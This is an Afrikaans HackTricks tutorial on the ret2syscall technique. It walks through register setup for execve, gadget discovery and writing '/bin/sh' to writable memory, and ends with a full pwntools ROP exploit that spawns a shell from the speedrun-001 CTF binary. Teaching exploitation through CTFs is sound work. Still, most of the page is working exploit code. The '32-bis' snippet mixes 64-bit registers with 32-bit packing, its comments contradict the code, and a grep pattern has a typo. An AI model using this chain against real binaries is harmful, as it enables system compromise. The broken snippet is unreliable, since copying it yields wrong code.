Ret2syscall

Ondersteun HackTricks

Basiese Inligting

Dit is soortgelyk aan Ret2lib, egter, in hierdie geval sal ons nie 'n funksie van 'n biblioteek aanroep nie. In hierdie geval sal alles voorberei word om die syscall sys_execve met 'n paar argumente aan te roep om /bin/sh uit te voer. Hierdie tegniek word gewoonlik op binêre lêers uitgevoer wat staties gecompileer is, so daar mag baie gadgets en syscall instruksies wees.

Om die oproep vir die syscall voor te berei, is die volgende konfigurasie nodig:

  • rax: 59 Spesifiseer sys_execve

  • rdi: ptr na "/bin/sh" spesifiseer lêer om uit te voer

  • rsi: 0 spesifiseer geen argumente wat deurgegee word

  • rdx: 0 spesifiseer geen omgewing veranderlikes wat deurgegee word

So, basies is dit nodig om die string /bin/sh êrens te skryf en dan die syscall uit te voer (met inagneming van die padding wat nodig is om die stapel te beheer). Hiervoor het ons 'n gadget nodig om /bin/sh in 'n bekende area te skryf.

Nog 'n interessante syscall om aan te roep is mprotect wat 'n aanvaller in staat sou stel om die toestemmings van 'n bladsy in geheue te wysig. Dit kan gekombineer word met ret2shellcode.

Register gadgets

Kom ons begin met die vind van hoe om daardie registers te beheer:

ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

Met hierdie adresse is dit moontlik om die inhoud in die stapel te skryf en dit in die registers te laai.

Skryf string

Skryfbare geheue

Eerstens moet jy 'n skryfbare plek in die geheue vind

gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

Skryf String in geheue

Dan moet jy 'n manier vind om arbitrêre inhoud in hierdie adres te skryf.

ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

Automatiseer ROP-ketting

Die volgende opdrag skep 'n volledige sys_execve ROP-ketting gegewe 'n statiese binêre wanneer daar write-what-where gadgets en syscall instruksies is:

ROPgadget --binary vuln --ropchain

32-bis

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget

64-bis

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx

Gebrek aan Gadgets

As jy gadget ontbreek, byvoorbeeld om /bin/sh in geheue te skryf, kan jy die SROP-tegniek gebruik om al die registerwaardes (insluitend RIP en params registers) vanaf die stapel te beheer:

SROP - Sigreturn-Oriented Programming

Exploit Voorbeeld

from pwn import *

target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')

# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)

# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)

# Our syscall gadget
syscall = p64(0x40129c)

'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget

'''
Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0

syscall
'''

rop += popRax
rop += p64(0x3b)

rop += popRdi
rop += p64(0x6b6000)

rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)

rop += syscall


# Add the padding to the saved return address
payload = "0"*0x408 + rop

# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)

target.interactive()

Ander Voorbeelde & Verwysings

Ondersteun HackTricks

Last updated